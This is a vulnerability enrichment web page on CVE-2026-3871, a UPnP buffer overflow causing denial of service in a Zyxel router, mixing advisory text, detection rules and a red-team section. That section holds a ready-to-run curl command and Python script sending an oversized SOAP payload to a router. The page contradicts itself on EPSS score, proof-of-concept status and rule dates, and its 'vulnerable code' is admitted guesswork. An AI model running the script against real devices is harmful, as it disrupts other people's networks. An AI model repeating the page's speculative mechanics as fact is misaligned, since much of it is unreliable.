☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zyxel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-3871

CVE-2026-3871 Buffer Overflow in Upnp
📅 PUBLISHED: 2026-06-02 03:16 UTC 🔄 UPDATED: 2026-09-23 20:26 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-3871 is a buffer overflow vulnerability in the UPnP DeletePortMapping() command of the Zyxel VMG4005-B50B router, affecting firmware versions up to 5.13(ABRL.5.4)C0. An adjacent attacker can exploit this flaw to trigger a temporary denial-of-service (DoS) condition, specifically targeting the UPnP function. The vulnerability has a CVSS score of 6.5 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood currently. No public exploit code or patch is available, making this a high-priority issue for affected users.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same local network.
  • Attack Complexity (AC): Low (AC:L) – no special conditions required.
  • Privileges Required (PR): None (PR:N) – no authentication needed.
  • User Interaction (UI): None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H) – temporary DoS of UPnP function.

Threat Level: Medium. The vulnerability is exploitable from the local network, but the impact is limited to availability. The lack of public exploit and low EPSS score reduces immediate risk, but the absence of a patch increases long-term exposure.

Deep Dive & Mechanics

The vulnerability resides in the UPnP (Universal Plug and Play) service of the Zyxel VMG4005-B50B router. UPnP allows devices on the local network to automatically configure port forwarding. The DeletePortMapping() command is used to remove a port mapping entry.

Root Cause: A buffer overflow occurs when the DeletePortMapping() command processes a specially crafted request. The function likely copies user-supplied data (e.g., the port mapping description or external port number) into a fixed-size buffer without proper bounds checking. When the input exceeds the buffer size, it overwrites adjacent memory, corrupting the stack or heap.

Trigger: An adjacent attacker sends a malicious UPnP SOAP request to the router's UPnP control point (typically on UDP port 1900 or TCP port 5000). The request contains an oversized parameter in the DeletePortMapping() action, causing the overflow.

Impact: The overflow corrupts critical data structures, leading to a crash of the UPnP service. This results in a temporary denial-of-service, preventing legitimate UPnP operations (e.g., port forwarding for gaming, VoIP, or media streaming). The router itself may remain operational, but UPnP functionality is lost until the service restarts or the device is rebooted.

Attack Vector: Adjacent network (same LAN). The attacker must be connected to the same local network as the router, either via Wi-Fi or Ethernet.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the UPnP service implementation of firmware version 5.13(ABRL.5.4)C0 and earlier.

Vulnerable Code (Hypothetical):

void DeletePortMapping(char *description) {
    char buffer[256];
    strcpy(buffer, description); // No bounds check
    // Process buffer...
}

Patched Code (Expected):

void DeletePortMapping(char *description) {
    char buffer[256];
    strncpy(buffer, description, sizeof(buffer) - 1); // Bounds check
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

The fix would involve using strncpy() or similar safe functions to limit the copy size, preventing buffer overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to the same local network as the target Zyxel VMG4005-B50B router.
  • Target router running firmware <= 5.13(ABRL.5.4)C0.
  • UPnP service enabled (default).

Exploitation Steps:

  1. Scan for UPnP devices: Use upnp-inspector or nmap to discover the router's UPnP endpoint.
    nmap -sU -p 1900 --script=upnp-info <target_ip>
    
  2. Craft malicious SOAP request: Create a UPnP SOAP request with an oversized NewPortMappingDescription parameter.
    <?xml version="1.0"?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <s:Body>
        <u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
          <NewPortMappingDescription>AAAA...AAAA</NewPortMappingDescription>
        </u:DeletePortMapping>
      </s:Body>
    </s:Envelope>
    
    Replace AAAA...AAAA with a string of 500+ characters to trigger the overflow.
  3. Send the request: Use curl or a custom Python script to send the SOAP request to the router's UPnP control URL.
    curl -X POST http://<router_ip>:5000/upnp/control/WANIPConn1 \
         -H "Content-Type: text/xml; charset=utf-8" \
         -H "SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" \
         -d @malicious.xml
    
  4. Verify DoS: Check if UPnP functionality is disrupted (e.g., port mappings fail, UPnP service crashes).

Python Exploit Script:

import requests

target = "http://192.168.1.1:5000/upnp/control/WANIPConn1"
payload = "A" * 500  # Overflow payload

soap_request = f"""<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewPortMappingDescription>{payload}</NewPortMappingDescription>
    </u:DeletePortMapping>
  </s:Body>
</s:Envelope>"""

headers = {
    "Content-Type": "text/xml; charset=utf-8",
    "SOAPAction": "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
}

response = requests.post(target, data=soap_request, headers=headers)
print(f"Status: {response.status_code}")

Blue Team (Defense & Detection)

Detection:

  • Monitor UPnP traffic for oversized SOAP requests.
  • Use network intrusion detection systems (NIDS) to flag anomalous UPnP packets.
  • Enable logging on the router (if available) to capture UPnP errors.

Mitigation:

  • Disable UPnP on the router if not required.
  • Apply network segmentation to isolate untrusted devices.
  • Monitor for firmware updates from Zyxel.

Lab Setup:

  • Use a virtualized Zyxel VMG4005-B50B (if available) or a physical device in an isolated network.
  • Tools: Wireshark, nmap, curl, Python, Metasploit (if module exists).

Indicators of Compromise (IOCs)

  • Network:
    • UPnP SOAP requests with DeletePortMapping action containing strings longer than 256 bytes.
    • Repeated UPnP service crashes or restarts.
    • Log entries indicating UPnP errors or buffer overflow exceptions.
  • System:
    • Temporary loss of UPnP functionality (port mappings fail).
    • Router logs showing UPnP service termination.
  • File:
    • No file-based IOCs as this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2026_3871_UPnP_BufferOverflow {
    meta:
        description = "Detects oversized UPnP DeletePortMapping requests targeting CVE-2026-3871"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-3871"
    strings:
        $soap_action = "DeletePortMapping"
        $overflow = /NewPortMappingDescription>[A-Za-z0-9]{300,}</
    condition:
        $soap_action and $overflow
}

Sigma Rule

title: CVE-2026-3871 UPnP Buffer Overflow Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects oversized UPnP DeletePortMapping requests indicating exploitation of CVE-2026-3871
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 2100001
    condition: selection
falsepositives:
    - Legitimate large port mapping descriptions (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 5000 (msg:"CVE-2026-3871 UPnP DeletePortMapping Buffer Overflow Attempt"; flow:to_server,established; content:"DeletePortMapping"; http_uri; content:"NewPortMappingDescription"; distance:0; within:100; pcre:"/NewPortMappingDescription>[A-Za-z0-9]{300,}/"; sid:2100001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable UPnP: If not required, disable UPnP on the router via the web interface (Advanced > UPnP).
  2. Network Segmentation: Place the router in a separate VLAN from untrusted devices.
  3. Monitor Logs: Enable and review router logs for UPnP errors.

Long-Term Fix:

  • Firmware Update: Await a patched firmware from Zyxel. Check the vendor's support page regularly.
  • Workaround: If UPnP is essential, restrict access to the UPnP control port (5000/TCP) using firewall rules to trusted IPs only.

Vendor Contact: Zyxel has not yet released a patch. Monitor their security advisory page.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-3871/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.